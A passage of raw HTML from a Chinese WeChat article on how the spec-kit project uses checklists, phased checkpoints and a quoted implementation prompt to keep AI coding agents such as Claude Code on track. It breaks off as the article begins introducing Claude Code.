normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时在最终执行任务的过程中时，通过checkpoint来制定任务是否完成的标准，通过以phase的方式来进行验证check，从而方式在整体运行过程中符合我们的意图</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031676" alt="image.png" class="rich_pages wxw-img" data-ratio="0.46346782988004365" data-type="png" data-w="1834" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=eeaed052&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzpkDFbU441eqGt2PAzUg4uxbOenYZwxY5ibRmGZZxJCpMISmpcxnCZEA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是如何去做校验呢？通过prompt和agent的方式是否也是一种弱校验的形式，会不会在校验的过程中存在所谓的幻觉呢，这也是我在阅读这个项目中最关注的点，那么首先让我们来看一下这个项目中是如何做校验的吧</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过阅读可以发现，在这个项目中采用的是prompt的形式来要求agent来进行约束</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031704" class="rich_pages wxw-img" data-ratio="0.5043813529617946" data-s="300,640" data-type="png" data-w="2853" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=baed92aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz6w5An1U1XcIlHYpNfPvlibMqcb13xmVibnYOaMeMSIKWAjDUCSY5Zrqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031727" alt="image.png" class="rich_pages wxw-img" data-ratio="0.49907407407407406" data-type="png" data-w="1080" style="box-sizing:border-box;vertical-align:middle;border:0px;max-width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=6abc2f8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzic6dCzf9CeiadFTVlQbIISLIwqVYzbPpOtiajPc8XOmTJOXr0R0loKlyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在执行过程中会首先检查是否所有的checklist都执行完成，agent会检查所有规范的md中的[]是否都已被标记完成，只有把所有任务都完成了才会开始进行执行，这里算是第一阶段的校验，即事前规范的校验</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031705" class="rich_pages wxw-img" data-ratio="0.5668001456133964" data-s="300,640" data-type="png" data-w="2747" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=b7ca1b1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz8794SVLxRnqw3bjNaRfviaGd0fwZU47QR1MTX1m0xK0KzkW77fNJtNw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031726" alt="image.png" class="rich_pages wxw-img" data-ratio="0.5731481481481482" data-type="png" data-w="1080" style="box-sizing:border-box;vertical-align:middle;border:0px;max-width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cae34b65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzNjStcIJFXNM1nPa6boAtyogibjAdEvQJ2Sd7cvafpxgZRBHatSyBoSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果存在没有完成的任务的话，那么会进行checklist校验</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031706" class="rich_pages wxw-img" data-ratio="0.1712400138937131" data-s="300,640" data-type="png" data-w="2879" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=57d3be82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzB8SUM3IjWhqwiawARgMCrvmybKhAhic2ziagWrVcWaP4ibtP7aDbVXqkgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在执行过程中的校验通过下面的核心prompt来进行完成</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面的这些类似prompt我觉得也非常值得学习，特别是执行期间的动态标记这部分，能够很好的提升Agent整体的效果（</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px 4px 0px 5px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">[]</span></code><span leaf="">-&gt;</span><code style="box-sizing: border-box;font-family: &#34;YaHei Consolas Hybrid&#34;, Consolas, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Helvetica, monospace, monospace;font-size: 14px;color: rgb(232, 62, 140);overflow-wrap: break-word;padding: 3px;margin: 0px 4px 0px 5px;background: rgb(246, 246, 246);border-radius: 3px;border: 1px solid rgb(221, 221, 221);"><span leaf="">[X]</span></code><span leaf="">）相当于始终有一个进度跟踪</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf="">5.解析 tasks.md 的结构并提取：</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**任务阶段**</span>：设置、测试、核心、集成、润色</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**任务依赖**</span>：顺序与并行执行规则</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**任务详情**</span>：ID、描述、文件路径、并行标记[P]</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**执行流程**</span>：顺序和依赖要求</span></code><br/><code><span leaf="">6.根据任务计划执行实现：</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**分阶段执行**</span>：完成每个阶段后再进入下一阶段</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**遵守依赖关系**</span>：按顺序运行串行任务，标记为[P]的并行任务可以同时运行</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**遵循 TDD 方法**</span>：在相应的实现任务之前执行测试任务</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**基于文件的协调**</span>：影响相同文件的任务必须按顺序运行</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**验证检查点**</span>：在继续之前核实每个阶段的完成情况</span></code><br/><code><span leaf="">7.实施执行规则：</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**先搭建环境**</span>：初始化项目结构、依赖、配置</span></code><br/><code><span leaf="">—<span class="code-snippet__strong">**先写测试**</span>：如果需要为合约、实体和集成场景编写测试</span></code><br/><code><span leaf="">-**核心开发**：实现模型、服务、CLI 命令、端点</span></code><br/><code><span leaf="">-**集成工作**：数据库连接、中间件、日志记录、外部服务</span></code><br/><code><span leaf="">-校对与验证：单元测试、性能优化、文档</span></code><br/><code><span leaf="">8.进度跟踪与错误处理：</span></code><br/><code><span leaf="">-在每个完成的任务后报告进度</span></code><br/><code><span leaf="">-若任何非并行任务失败则停止执行</span></code><br/><code><span leaf="">-对于并行任务[P]，继续处理已成功的任务，并报告失败的任务</span></code><br/><code><span leaf="">-提供带有上下文的清晰错误信息以便调试</span></code><br/><code><span leaf="">-如果无法继续实现，建议下一步措施</span></code><br/><code><span leaf="">-**重要**对于已完成的任务，确保在任务文件中将任务标记为[X]</span></code><br/><code><span leaf="">9.完成验证：</span></code><br/><code><span leaf="">-验证所有必需的任务已完成</span></code><br/><code><span leaf="">-检查已实现的功能是否与原始规范相符</span></code><br/><code><span leaf="">-验证测试通过且覆盖率满足要求</span></code><br/><code><span leaf="">-确认实现符合技术方案</span></code><br/><code><span leaf="">-报告最终状态并总结已完成的工作</span></code><br/><code><span leaf="">注意：此命令假定 tasks.md 中存在完整的任务分解。如果任务不完整或缺失，请建议先运行<span class="code-snippet__code">`/speckit.tasks`</span>以重新生成任务列表。</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在执行过程中会借助agent的能力来实时对tasks.md来进行编辑，从而更新最新的进展，并且当所有任务执行完成之后会低根据phase中的标准来进行验收</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031708" alt="image.png" class="rich_pages wxw-img" data-ratio="0.24540901502504173" data-type="png" data-w="2396" style="box-sizing:border-box;vertical-align:middle;border:0px;max-width:100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1faf20f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzLibMhDhFQNFrZNRcMRjDuBHOqHTbxWsE7VpUU40tiaOzEmWwA9g7vIpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这里的上下文管理其实是值得学习的，就是我们显性的将任务的流程和实时的进展通过文件来进行更新，效果会好很多，我们可以维护两个文档，一个是context.md另一个是task.md在task.md中记录任务的执行完成情况，让ai知晓目前执行到哪个阶段也是非常重要的</span></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.3 小节</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">spec-kit带来的其实是一套通过规范为底座驱动的Agent执行流程的方式，spec-kit中的prompt写的非常专业，通过借助prompt和template的方式实现让ClaudeCode等AI工具在我们构建的标准内准确执行，从而实现在一定程度上解决了AI走向无法预测的问题</span></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. 意图执行：ClaudeCode</span></h2><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目介绍</span></h3><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100031709" class="rich_pages wxw-img" data-ratio="0.7148412184057031" data-s="300,640" data-type="png" data-w="1543" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=fc86b1eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzgv9pjFTQwLXF80GTlqiayx4OCupIib630gfljoXUG8kOWW1UFEQKXnhw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目名称：ClaudeCode</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目链接：<a href="https://github.com/anthropics/claude-code" target="_blank">https://github.com/anthropics/claude-code</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目逆向源码：<a href="https://github.com/shareAI-lab/analysis_claude_code" target="_blank">https://github.com/shareAI-lab/analysis_claude_code</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目描述：非常知名的通用Agent工具，不需要过多的介绍了</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实在内外部都有非常多的人分析了ClaudeCode，包括内部ATA文章：<a href="https://ata.atatech.org/articles/11020447644?spm=ata.23639746.0.0.11bf559895Ur3s" target="_blank">https://ata.atatech.org/articles/11020447644?spm=ata.23639746.0.0.11bf559895Ur3s</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span 